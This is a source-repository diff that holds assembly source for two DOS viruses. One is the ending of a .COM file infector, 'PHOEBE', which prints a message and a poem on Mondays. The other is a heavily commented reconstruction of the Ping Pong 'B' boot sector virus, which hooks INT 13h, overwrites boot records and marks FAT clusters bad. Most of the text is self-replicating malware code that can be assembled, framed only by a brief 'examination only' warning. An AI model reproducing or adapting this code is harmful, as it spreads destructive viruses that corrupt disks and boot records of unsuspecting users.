||||
|
||||
bomb_it_out: ;closes the file..
|
||||
mov ah,3fh ;close file
|
||||
int 21h
|
||||
|
||||
jmp find_next ;find another..
|
||||
|
||||
check_payload:
|
||||
mov ah,2ah ;gets system date
|
||||
int 21h ;opens it
|
||||
cmp al,001h ;compares, is it monday?
|
||||
je payload ; if so, we got shit to do
|
||||
jmp get_out ; if not then we chill till Mon.
|
||||
|
||||
payload:
|
||||
mov ah,09h ; Fuction 09h: Print String to standard output
|
||||
lea dx,screen ; Start of '$' terminated string
|
||||
int 21h
|
||||
|
||||
mov ah,01h ;begin of printer sect of payload
|
||||
mov dx,0h
|
||||
int 17h ;int for initializing printer
|
||||
|
||||
lea si,string1
|
||||
mov cx,String1Len
|
||||
PrintStr:
|
||||
mov ah,00h
|
||||
lodsb
|
||||
int 17h
|
||||
loop PrintStr
|
||||
|
||||
Get_out:
|
||||
lea di,100h
|
||||
jmp di
|
||||
|
||||
new_three db 0e9h,0,0
|
||||
filespec db '*.com',0
|
||||
dotdot db '..',0
|
||||
screen db "Voila PHOEBE! Elle etait code' dans la coeur de ,",10,13
|
||||
screen2 db "l'amerique midwest a l'automne, dix-neuf cent",10,13
|
||||
screen3 db 'quatre-vingt-dix-sept, par Opic des Codebreakers',10,13,'$'
|
||||
;You have to have the "$" at the end of all the text you want to print
|
||||
|
||||
String1Len EQU EndStr1-String1
|
||||
String1 db '*************************PHOEBE*************************',0dh,0ah
|
||||
db 'Phoebe: high school knockout, better take our MONDAY to',0dh,0ah
|
||||
db 'the tuesday prize fighter(you were a cab driver off on',0dh,0ah
|
||||
db 'the distance).youre a runner or a lover:sacred taylor',0dh,0ah
|
||||
db 'set our records straight one lost two late,im a little',0dh,0ah
|
||||
db 'off time so set your ticker to mine:',0dh,0ah
|
||||
db 'id love to have my halo of social grace recrowned.',0dh,0ah
|
||||
db '(desert island ect.) home to ill will and',0dh,0ah
|
||||
db 'misrepresentation. barter with me now mexico, i demand',0dh,0ah
|
||||
db 'it.come bluebeard & red blood-we are life-even in our',0dh,0ah
|
||||
db 'tied down mishaps. we are life; endure us. dead seven',0dh,0ah
|
||||
db 'year old run over by a bus while stealing your first',0dh,0ah
|
||||
db 'and only bicycle; endure. this is life even in my wine',0dh,0ah
|
||||
db 'glass even in my ever faltering and constant doubt we',0dh,0ah
|
||||
db 'are here, this is it, endure. even in on our toilet',0dh,0ah
|
||||
db 'in the morning or in your shitbox or motel, you have',0dh,0ah
|
||||
db 'made it-rejoice!-the ground will open up on us even',0dh,0ah
|
||||
db 'before this glass is finished. this year will end for',0dh,0ah
|
||||
db 'most of us.salt touches the ground, athens have we',0dh,0ah
|
||||
db 'lost quite yet? savagly speared we went down quietly?',0dh,0ah
|
||||
db 'giving up our youth or even worse our spirit so',0dh,0ah
|
||||
db 'daintily as a beauty queen shits at midnight? was no',0dh,0ah
|
||||
db 'one watching? listening? tell me athens: are we',0dh,0ah
|
||||
db 'christians and lions? have i got my history all wrong?',0dh,0ah
|
||||
db 'from the first to the last or one year past: "are these',0dh,0ah
|
||||
db 'the depths of despair so unevenly documented in its',0dh,0ah
|
||||
db 'text?".for once athens history repeats itself.tell me',0dh,0ah
|
||||
db 'what do you think of our football games? are our glory',0dh,0ah
|
||||
db 'days over? is america doomed with pre-ejaculation? i',0dh,0ah
|
||||
db 'must know. slap me and tell me im like all the rest,',0dh,0ah
|
||||
db 'athens,id feel so much better if you did.am i a thief',0dh,0ah
|
||||
db 'stealing red robed memory? am i: train through a',0dh,0ah
|
||||
db 'tunnel? rocketship blasting off? the washington',0dh,0ah
|
||||
db 'monument? i bet i am.i am wimpering under your window',0dh,0ah
|
||||
db 'sill or whispering to your pillowed ear:rejoice! we are',0dh,0ah
|
||||
db 'famous watchers.sewer of amber letters, lips sewed a',0dh,0ah
|
||||
db 'thread of truth to your tongue.i named and numbered my',0dh,0ah
|
||||
db 'system the whole world over,and you?you got flowers and',0dh,0ah
|
||||
db 'chocolates.like a steel warehouse summer turned calcium',0dh,0ah
|
||||
db 'to carbon.',0dh,0ah
|
||||
db '****coded/copyrighted:Opic*********Codebreakers,1997****',0Ch
|
||||
EndStr1:
|
||||
buffer db 0cdh,20h,0
|
||||
end_of_PHOEBE:
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,761 @@
|
|||
TITLE PINGB.ASM - Ping Pong "B" virus assembly source code
|
||||
|
||||
COMMENT # Read the following carefully:
|
||||
|
||||
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
|
||||
|
||||
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
|
||||
This virus, when assembled, is (almost) harmless if left in a file.
|
||||
At best, the code will overwrite part of DOS and hang your machine.
|
||||
At worst, it could wipe out the Boot record of A: or the master boot
|
||||
record of your hard disk. Since the virus MUST be loaded from a boot
|
||||
sector to function properly, running the code from DOS will definitely
|
||||
cause problems.
|
||||
|
||||
DISCLAIMER: The author will NOT be held responsible for any damages
|
||||
caused by careless use of the information presented here.
|
||||
|
||||
NOTE: This file, when assembled, will produce a binary image identical
|
||||
to the original virus code (except for data areas). It has a
|
||||
few flaws, the biggest of which is described in item 1 of the
|
||||
Coding Quirks section, below. The companion file, PINGB-C.ASM is
|
||||
a "cleaned-up" copy of the virus; it corrects all the items under
|
||||
the Coding Quirks section. It should be operationally functional
|
||||
to the virus code in this copy.
|
||||
|
||||
|
||||
THEORY OF OPERATION:
|
||||
|
||||
1) A disk with the virus is booted.
|
||||
2) The BIOS memory count is decreased by 2k, to prevent DOS from
|
||||
overwriting the virus, and relocates itself to the reserved space.
|
||||
3) Part II of the virus is read into RAM just after part I.
|
||||
4) The original boot sector is read to 0000:7C00.
|
||||
5) Virus gets and saves the address of INT 13h, the BIOS disk service
|
||||
interrupt routine, then hooks its own routine in place.
|
||||
6) The virus jumps to 0000:7C00, load DOS if possible.
|
||||
|
||||
|
||||
INFECTION PROCESS:
|
||||
|
||||
1) A BIOS read request is preformed on the target disk.
|
||||
2) If the drive is different from the last drive that was read from, then
|
||||
attempt infection immediately. Otherwise, check the BIOS clock tick
|
||||
count to see if it's time to activate the bouncing ball routine.
|
||||
3) Read very first sector of the disk. If it's a hard disk, then search
|
||||
for a DOS-12 or DOS-16 partition, and if found, read the first sector
|
||||
of THAT partition. We now have the "normal" boot record of the target
|
||||
disk in the sector buffer.
|
||||
4) Copy the BPB from the boot record to the virus code space.
|
||||
5) Check virus' signature in the boot record to see if infected before.
|
||||
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
|
||||
per cluster to infect the disk.
|
||||
6) Calculate number of system use sectors, data sectors, and maximum cluster
|
||||
number.
|
||||
7) Starting with the first sector of the FAT, search for a free cluster.
|
||||
If none found, then don't infect the disk.
|
||||
8) The first free cluster is flagged as bad, and the FAT is updated. Note
|
||||
that only the first copy of the FAT will be modified.
|
||||
9) The original boot sector is re-read and written to the second sector of
|
||||
the virus' cluster. Part II of the virus is written to the first sector.
|
||||
Part I is written to sector 0, replacing the original boot record.
|
||||
|
||||
|
||||
INFECTION RESTRICTIONS:
|
||||
|
||||
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
|
||||
1) The virus will not infect a non-DOS bootable hard disk.
|
||||
2) The virus will only infect a disk with 512 byte sectors, and at least two
|
||||
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
|
||||
3) The virus will not infect a disk with no free space (from DOS's view).
|
||||
|
||||
|
||||
CODING QUIRKS:
|
||||
|
||||
1) The virus uses a "MOV CS,AX" instruction to continue execution after
|
||||
relocating itself to higher memory (see MEMORY MAP, below). This should
|
||||
not work on a 286 or 386 system (the author has not tried it!).
|
||||
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
|
||||
register). It could be replaced by "XOR rr,0" to save a byte.
|
||||
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
|
||||
computing the ones complement, then adding one to get the twos
|
||||
complement.) This could be replaced by "NEG rr" to save three bytes.
|
||||
4) The use of OFS_ADJ (see below for computation) is needed to let me use
|
||||
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
|
||||
that would create a file about 32k in size on assembling. Instead, I
|
||||
chose to add this offset manually to force correct address generation.
|
||||
|
||||
MEMORY MAP:
|
||||
|
||||
The virus will relocate itself 2k below the top of memory. The virus
|
||||
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
|
||||
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
|
||||
the BIOS top of memory count. For a 640k machine the map becomes:
|
||||
|
||||
640.0k (97C0:8400, which is A000:0000) ==> Top of memory
|
||||
639.5k (97C0:8200 to 97C0:83FF) ==> Unused
|
||||
639.0k (97C0:8000 to 97C0:81FF) ==> Buffer used by virus
|
||||
638.5k (97C0:7E00 to 97C0:7FFF) ==> 2nd part of virus code
|
||||
638.0k (97C0:7C00 to 97C0:7DFF) ==> Main part of Ping Pong virus
|
||||
|
||||
Note that the "clean" version has a different memory map!!
|
||||
|
||||
# End of comment
|
||||
|
||||
|
||||
LOCALS
|
||||
|
||||
;The following lines, especially OFS_ADJ, is used to force the assembler to
|
||||
;generate the correct address for data references. The virus code is
|
||||
;ORG 7C00h, but we are assembling at ORG 0h. Therefore, we must add
|
||||
;7C00h to all data references, to make the addresses come out right.
|
||||
PROGRAM_ASSEMBLY_OFS EQU 0000H
|
||||
BOOT_SECTOR_LOAD_OFS EQU 7C00H
|
||||
|
||||
OFS_ADJ EQU BOOT_SECTOR_LOAD_OFS - PROGRAM_ASSEMBLY_OFS
|
||||
|
||||
|
||||
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
|
||||
ORG 0H ;Interrupt vector space
|
||||
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
|
||||
|
||||
ORG 0020H
|
||||
INT8_OFS DW ? ;INT 8h vector offset & segment
|
||||
INT8_SEG DW ?
|
||||
|
||||
ORG 004CH
|
||||
INT13_OFS DW ? ;INT 13h vector offset & segment
|
||||
INT13_SEG DW ?
|
||||
|
||||
ORG 0413H ;BIOS data area
|
||||
KB_MEM DW ? ;K bytes of RAM in machine
|
||||
|
||||
ORG 7C00H ;Jump here to load O/S
|
||||
BOOT_SECTOR_EXEC LABEL FAR
|
||||
|
||||
LOW_MEM_DATA ENDS
|
||||
|
||||
VIRUS SEGMENT
|
||||
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
|
||||
ORG 0H
|
||||
|
||||
START_HERE:
|
||||
JMP SHORT CODE_START ;Force a two byte relative JuMp
|
||||
NOP_INST:
|
||||
NOP
|
||||
OEM_ID DB 'PingPong' ;Must be eight characters long!
|
||||
BYTES_PER_SEC DW 512
|
||||
SEC_PER_CLU DB 2
|
||||
RES_SECTORS DW 1
|
||||
FAT_COPIES DB 2
|
||||
DIR_ENTRIES DW 112 ;This is a standard
|
||||
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
|
||||
MEDIA_DESCRIP DB 0FDH
|
||||
SEC_PER_FAT DW 2
|
||||
SEC_PER_TRK DW 9
|
||||
SIDES_ON_DISK DW 2
|
||||
HIDDEN_SECTORS DW 0
|
||||
|
||||
ORG 001EH ;Must ORGinate at offset 1Eh
|
||||
CODE_START:
|
||||
XOR AX,AX
|
||||
MOV SS,AX ;Set up stack pointer
|
||||
MOV SP,BOOT_SECTOR_LOAD_OFS
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,KB_MEM ;Get BIOS's count of available memory
|
||||
SUB AX,2 ;Reserve 2k for virus's use
|
||||
MOV KB_MEM,AX ;Save updated memory Kbyte count
|
||||
|
||||
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
|
||||
;paragraph count. The result is the target segment value for relocation.
|
||||
;Subtracting 07C0h from the segment value will make the segment shift
|
||||
;downards by 7C00 bytes, which makes offset 7C00h in that segment line
|
||||
;up with the previous offset 0.
|
||||
;For a 640k machine (numbers in parenthesis are decimal equivalents)
|
||||
; Original BIOS memory count: 280h ( 640) Kbytes
|
||||
; After virus subtracts 2k : 27Eh ( 638) Kbytes
|
||||
; Shifting left by 6 bits : 9F80h (40832) paragraphs
|
||||
; Subtract 07C0h : 97C0h (38848) segment value
|
||||
MOV CL,06
|
||||
SHL AX,CL ;This is same as multiplying by 64
|
||||
SUB AX,07C0H ;Subtract offset divided by 16
|
||||
MOV ES,AX ;Use result as segment value
|
||||
MOV SI,BOOT_SECTOR_LOAD_OFS
|
||||
MOV DI,SI ;Set up index regisetrs for move
|
||||
MOV CX,256 ;Copy 256 words (ie 512 bytes)
|
||||
REP MOVSW
|
||||
|
||||
DB 08EH, 0C8H ;This is a "MOV CS,AX" instruction (See notes below)
|
||||
;Notes on MOV CS,AX:
|
||||
;This should be an illegal instruction, and if you go by the book, it
|
||||
;wouldn't work on a 80x86 processor. On a 80386 system, it will hang the
|
||||
;computer, requiring a hard reset or a cold boot. Apprantly, it works on
|
||||
;a 8088. Turbo Assembler 2.0 will flag "MOV CS,AX" as an instruction with
|
||||
;illegal operands, so, in order to preserve the original virus code, the
|
||||
;hex bytes of the instruction must be inserted manually into the code stream.
|
||||
|
||||
VIRUS_CONT LABEL FAR ;Continuation address after move
|
||||
PUSH CS
|
||||
POP DS ;Set up DS register
|
||||
ASSUME ES:VIRUS,DS:VIRUS
|
||||
CALL @@LOAD_PART_2 ;try two times to load part 2
|
||||
@@LOAD_PART_2:
|
||||
XOR AH,AH
|
||||
INT 13H ;Reset disk subsystem
|
||||
AND Byte Ptr DRIVE+OFS_ADJ,080H ;Force drive number to either A: or C:
|
||||
MOV BX,PART2_SECTOR+OFS_ADJ
|
||||
|
||||
;The sector read/write routine always uses a fixed offset of 8000h; so to get
|
||||
;the data into the right place, the segment registers are adjusted instead.
|
||||
;We want to load part 2 of the virus just after part 1, so the offset normally
|
||||
;would be 7E00h (ie, 7C00h+200h). However, since the offset MUST be 8000h,
|
||||
;we will change ES to be 0200h BYTES lower then it normally would be.
|
||||
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
|
||||
;only subtract 0020h.
|
||||
;This gives us a effective offset calculation of 8000h - (20h * 10h) = 7E00h
|
||||
PUSH CS
|
||||
POP AX ;See note above!!
|
||||
SUB AX,20H
|
||||
MOV ES,AX ;Move result into ES for read routine
|
||||
|
||||
CALL READ_SECTOR
|
||||
MOV BX,PART2_SECTOR+OFS_ADJ ;Sector after part 2 of the virus is
|
||||
INC BX ; the original boot record of the disk
|
||||
MOV AX,0FFC0H ;Address calculation for sector read:
|
||||
MOV ES,AX ; 8000h + (FFC0h * 10h) = 107C00h
|
||||
CALL READ_SECTOR ;Trim address to 20 bits, and you
|
||||
XOR AX,AX ; get 07C00h, which is 0000:7C00
|
||||
MOV FLAGS+OFS_ADJ,AL ;Clear all flags.
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT13_OFS
|
||||
MOV BX,INT13_SEG
|
||||
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13+OFS_ADJ
|
||||
MOV INT13_SEG,CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT13_PATCH+1+OFS_ADJ,AX ;Save original INT 13h vector
|
||||
MOV INT13_PATCH+3+OFS_ADJ,BX ; directly into instruction stream
|
||||
MOV DL,DRIVE+OFS_ADJ
|
||||
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
|
||||
|
||||
;***************************************
|
||||
WRITE_SECTOR:
|
||||
MOV AX,0301H
|
||||
JMP SHORT VIRUS_DISK_SERV
|
||||
READ_SECTOR:
|
||||
MOV AX,0201H
|
||||
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
|
||||
XCHG AX,BX ;Swap command code and sector number
|
||||
|
||||
;Now calculate the physical location of the sector number. DOS sectors are
|
||||
;sequential, while the BIOS uses track, head, and sector numbers.
|
||||
;Method:
|
||||
; Starting with: AX=DOS sector #
|
||||
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
|
||||
; Move sector number (in DL) to CH for later processing
|
||||
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
|
||||
; Since the track # may be more than 255, we will combine the lower
|
||||
; two bits in AH with the sector number in CH. First shift it left
|
||||
; by 6 bits, to get it in the form tt000000, then OR it with CH.
|
||||
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
|
||||
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
|
||||
; and "s" is bits of sector number. )
|
||||
; Now copy AX into CX, and reverse the two halves of CX. Now the track
|
||||
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
|
||||
; The side number is still in DL, so copy it into DH for the BIOS.
|
||||
|
||||
ADD AX,HIDDEN_SECTORS+OFS_ADJ ;Add number of hidden sectors
|
||||
XOR DX,DX ; (Clear high word for 32 bit division)
|
||||
DIV SEC_PER_TRK+OFS_ADJ ;Divide by sectors/track to get
|
||||
INC DL ; sector number in DX.
|
||||
MOV CH,DL
|
||||
XOR DX,DX
|
||||
DIV SIDES_ON_DISK+OFS_ADJ ;Divide what's left in AX by
|
||||
MOV CL,06 ; # of sides to get a track number
|
||||
SHL AH,CL ; in AX and the head number in DX.
|
||||
OR AH,CH ;Do some bit shuffling to get the
|
||||
MOV CX,AX ; pieces in order...
|
||||
XCHG CH,CL
|
||||
MOV DH,DL ; and we're done! (whew!)
|
||||
|
||||
MOV AX,BX ;Move command code back into AX
|
||||
DISK_SERVICE:
|
||||
MOV DL,DRIVE+OFS_ADJ
|
||||
MOV BX,8000H ;Offset is fixed. (See notes above)
|
||||
INT 13H
|
||||
JNC @@NO_ERR ;If successful, then return to caller normally
|
||||
POP AX ;Otherwise, remove caller's return address
|
||||
@@NO_ERR: ; and return one lever higher than should.
|
||||
RET
|
||||
|
||||
NEW_INT13 LABEL FAR ;New INT 13h handler
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX ;Save registers on stack
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Establish our data segment registers
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
ASSUME DS:VIRUS,ES:VIRUS
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,01 ;Was this INT invoked before?
|
||||
JNZ @@END ;If so, ignore this call
|
||||
CMP AH,02 ;Intercept read requests only
|
||||
JNE @@END
|
||||
CMP DRIVE+OFS_ADJ,DL ;Check drive number...
|
||||
MOV DRIVE+OFS_ADJ,DL ; (also save it for next time)
|
||||
JNZ @@INFECT ;...if not the same, infect immediately
|
||||
XOR AH,AH
|
||||
INT 1AH ;Get clock tick count
|
||||
TEST DH,07FH ;Is it the right time to activate
|
||||
JNZ @@UPDATE_TICKS ; the bouncing ball display?
|
||||
TEST DL,0F0H
|
||||
JNZ @@UPDATE_TICKS
|
||||
PUSH DX ;Preserve clock tick count
|
||||
CALL INST_BALL ;Install the bouncing ball routine,
|
||||
POP DX ; if not established already.
|
||||
@@UPDATE_TICKS:
|
||||
MOV CX,DX ;Find elapsed time since last call
|
||||
SUB DX,TICK_COUNT+OFS_ADJ ; to this routine. Also save tick
|
||||
MOV TICK_COUNT+OFS_ADJ,CX ; count for next time.
|
||||
SUB DX,36 ;If less than 2 seconds have passed,
|
||||
JB @@END ; don't infect the disk.
|
||||
@@INFECT:
|
||||
OR Byte Ptr FLAGS+OFS_ADJ,00000001B ;Set busy flag for INT 13h
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL INFECT_A_DISK ;Attempt to infect target disk
|
||||
POP DI
|
||||
POP SI
|
||||
AND Byte Ptr FLAGS+OFS_ADJ,11111110B ;Clear busy flag.
|
||||
@@END:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore caller's registers
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
INT13_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
|
||||
|
||||
INFECT_A_DISK:
|
||||
MOV AX,0201H ;Read one sector...
|
||||
MOV DH,0
|
||||
MOV CX,0001H ;...the first sector of a disk.
|
||||
CALL DISK_SERVICE
|
||||
|
||||
;At this point, the sector we just read could be a normal boot record,
|
||||
;or the partition table of a hard disk. If it's a boot record from a floppy,
|
||||
;then proceed to infect it. Otherwise, we have to find the DOS partition
|
||||
;of the hard disk and read the boot sector from that partition. We search
|
||||
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
|
||||
;drive/side/track/sector information, we read the first sector of the
|
||||
;partition. That sector will be the required boot record, which we will
|
||||
;prodeed to process.
|
||||
TEST Byte Ptr DRIVE+OFS_ADJ,80H ;Is the disk a Winchester?
|
||||
JZ @@FLOPPY ;If so, then we got a partition table.
|
||||
MOV SI,OFFSET PARTITION_TABLE+OFS_ADJ
|
||||
MOV CX,4
|
||||
@@LP: ;Check O/S identification byte:
|
||||
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
|
||||
JE @@FOUND ; if so, then continue with infection.
|
||||
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
|
||||
JE @@FOUND
|
||||
ADD SI,16 ;Not this one, go to next partition
|
||||
LOOP @@LP
|
||||
RET ;No suitable DOS partitions found, so exit.
|
||||
@@FOUND:
|
||||
MOV DX,[SI] ;Get drive number and side
|
||||
MOV CX,[SI+2] ;Get track and sector numbers
|
||||
MOV AX,0201H ;Read one sector...
|
||||
CALL DISK_SERVICE
|
||||
|
||||
@@FLOPPY: ;A DOS boot record is at CS:8000
|
||||
MOV SI,OFFSET _NOP_INST+OFS_ADJ ;Copy BPB to virus' code
|
||||
MOV DI,OFFSET NOP_INST+OFS_ADJ ; space at ES:7C00h
|
||||
MOV CX,001CH
|
||||
REP MOVSB
|
||||
CMP Word Ptr _VIRUS_SIG+OFS_ADJ,01357H ;Check virus' signature
|
||||
JNE @@INFECT ;Infect if not the same
|
||||
|
||||
;It is not known what the following code does; it seems to soem sort of
|
||||
;error recovery procedure, in case the first attempt at infection failed.
|
||||
CMP Byte Ptr _CONTINUATION+OFS_ADJ,0
|
||||
JNB @@EXIT
|
||||
MOV AX,_SYSTEM_SECTORS+OFS_ADJ
|
||||
MOV SYSTEM_SECTORS+OFS_ADJ,AX
|
||||
MOV SI,_PART2_SECTOR+OFS_ADJ
|
||||
JMP CONT_POINT
|
||||
@@EXIT:
|
||||
RET ;Exit now; cannot infect this disk
|
||||
|
||||
@@INFECT:
|
||||
CMP Word Ptr _BYTES_PER_SEC+OFS_ADJ,512 ;512 byte sectors only!
|
||||
JNZ @@EXIT
|
||||
CMP Byte Ptr _SEC_PER_CLU+OFS_ADJ,2 ;At lease 2 sectors per cluster
|
||||
JB @@EXIT
|
||||
|
||||
;The virus now computes the number of system use sectors and number of data
|
||||
;sectors. System use sectors include the Boot Record, FAT copies, root
|
||||
;directory, and any otherwise reserved sectors. What's left is the number
|
||||
;of data sectors.
|
||||
MOV CX,_RES_SECTORS+OFS_ADJ ;Get # of reserved sectors
|
||||
MOV AL,_FAT_COPIES+OFS_ADJ ;Get # of FAT copies
|
||||
CBW ;Convert to word in AX
|
||||
MUL Word Ptr _SEC_PER_FAT+OFS_ADJ ;Multiply by sectors/FAT
|
||||
ADD CX,AX ;Add result to # reserved sec.
|
||||
|
||||
MOV AX,32 ;Each dir entry is 32 bytes
|
||||
MUL Word Ptr _DIR_ENTRIES+OFS_ADJ ;Get size of root dir in bytes
|
||||
ADD AX,511 ;Round up when dividing...
|
||||
MOV BX,512 ;Divide by 512 to get # sectors
|
||||
DIV BX ; the root directory takes.
|
||||
ADD CX,AX ;Add to # reserved sectors
|
||||
MOV SYSTEM_SECTORS+OFS_ADJ,CX ;(Overflow & remainder ignored)
|
||||
|
||||
;The virus now calculates the number of data sectors and clusters.
|
||||
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
|
||||
MOV AX,TOTAL_SECTORS+OFS_ADJ ;Get total # of sectors on disk
|
||||
SUB AX,SYSTEM_SECTORS+OFS_ADJ ;Subtract # of system sectors
|
||||
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors in a cluster
|
||||
XOR DX,DX ;Clear high order word...
|
||||
XOR BH,BH ; and byte for division
|
||||
DIV BX ;Divide, to get # of clusters
|
||||
INC AX ;Round up by one
|
||||
MOV DI,AX ;Save for "find free" routine
|
||||
AND Byte Ptr FLAGS+OFS_ADJ,11111011B ;Clear "16 bit FAT" flag.
|
||||
CMP AX,0FF0H ;Is # of clusters too high?
|
||||
JBE @@1
|
||||
OR Byte Ptr FLAGS+OFS_ADJ,00000100B ;If so, set flag for 16 bit FAT
|
||||
@@1:
|
||||
;Now the search for a free cluster begins.
|
||||
MOV SI,1 ;Counter of now many FAT sectors searched
|
||||
MOV BX,RES_SECTORS+OFS_ADJ ;Start with 1st FAT sector
|
||||
DEC BX ;Sub 1, because we add 1 later
|
||||
MOV CUR_FAT_SECTOR+OFS_ADJ,BX
|
||||
MOV Byte Ptr FAT_OFS_ADJ+OFS_ADJ,-2 ;Set "cluster overhead"
|
||||
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
|
||||
|
||||
ORG 01F3H
|
||||
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
|
||||
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
|
||||
FLAGS DB ? ;Bit mapped flags
|
||||
DRIVE DB ? ;Current drive number
|
||||
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
|
||||
CONTUATION DB ? ;??? Continuation flag???
|
||||
ORG 01FCH
|
||||
VIRUS_SIG DW 01357H ;Virus' signature
|
||||
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
|
||||
|
||||
|
||||
;*************** Second sector of virus code starts here! ******************;
|
||||
|
||||
ORG 0200H
|
||||
VIRUS_PART2_CONT:
|
||||
|
||||
;Note: DI has maximum cluster number, and SI has current cluster number.
|
||||
@@NEXT_SECTOR:
|
||||
INC Word Ptr CUR_FAT_SECTOR+OFS_ADJ ;Add one to FAT sector #
|
||||
MOV BX,CUR_FAT_SECTOR+OFS_ADJ
|
||||
ADD Byte Ptr FAT_OFS_ADJ+OFS_ADJ,2
|
||||
CALL READ_SECTOR ;Read the FAT sector
|
||||
JMP SHORT @@CHECK ;Check for end of search
|
||||
@@FIND_FREE:
|
||||
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
|
||||
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
|
||||
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
|
||||
;divide by 2.
|
||||
MOV AX,3
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;Check for 16 bit FAT
|
||||
JZ @@0
|
||||
INC AX ;Use 4 if FAT-16
|
||||
@@0:
|
||||
MUL SI ;Multiply by cluster number
|
||||
SHR AX,1 ;Divide by 2
|
||||
|
||||
;The cluster adjustment value is needed to keep offsets within 512 bytes.
|
||||
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
|
||||
;we calculate another FAT offset for each subsequent FAT sector.
|
||||
SUB AH,FAT_OFS_ADJ+OFS_ADJ ;Subtract cluster adjustment
|
||||
MOV BX,AX
|
||||
CMP BX,01FFH ;Is offset too high?
|
||||
JNB @@NEXT_SECTOR ;If so, go to next sector
|
||||
MOV DX,Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ] ;Get entry
|
||||
|
||||
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
|
||||
;necessary. On a FAT-16, we can use the vlaue directly.
|
||||
;If it is a 12 bit FAT:
|
||||
; Clear upper nibble if cluster number is even.
|
||||
; Otherwise, throw out lower nibble and shift down by 4 bits.
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check
|
||||
JNZ @@2
|
||||
MOV CL,04 ;Prepare for shift
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@1
|
||||
SHR DX,CL ;Shift down by 1 nibble if odd.
|
||||
@@1:
|
||||
AND DH,0FH ;Clear highest nibble.
|
||||
|
||||
@@2:
|
||||
;A free cluster has an entry of 0. Using the TEST instruction, we check
|
||||
;for an entry of 0. Note that the TEST DX,0FFFFH could be replaced by
|
||||
;OR DX,DX, saving two bytes.
|
||||
TEST DX,0FFFFH
|
||||
JZ FREE_FOUND
|
||||
@@CHECK: ;See if the maximun cluster number has been
|
||||
INC SI ; reached. If so, then no free cluster has
|
||||
CMP SI,DI ; been found, so we can't infect the disk
|
||||
JBE @@FIND_FREE
|
||||
RET
|
||||
|
||||
FREE_FOUND:
|
||||
;Now that we found a free cluster, we'll set that cluster to "bad" status.
|
||||
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
|
||||
;accordingly.
|
||||
MOV DX,0FFF7H ;Bad cluster flag.
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check.
|
||||
JNZ @@0
|
||||
AND DH,0FH ;Clear upper nibble
|
||||
MOV CL,04
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@0
|
||||
SHL DX,CL ;Shift by 4 bits if odd.
|
||||
@@0:
|
||||
OR Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ],DX ;Insert new value.
|
||||
MOV BX,CUR_FAT_SECTOR+OFS_ADJ ;Get FAT sector #
|
||||
CALL WRITE_SECTOR ;Write modified FAT to disk
|
||||
MOV AX,SI ;Get free cluster number to AX
|
||||
SUB AX,2 ;Subtract cluster number basis
|
||||
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors/cluster
|
||||
XOR BH,BH
|
||||
MUL BX ;Multiply to get sector number
|
||||
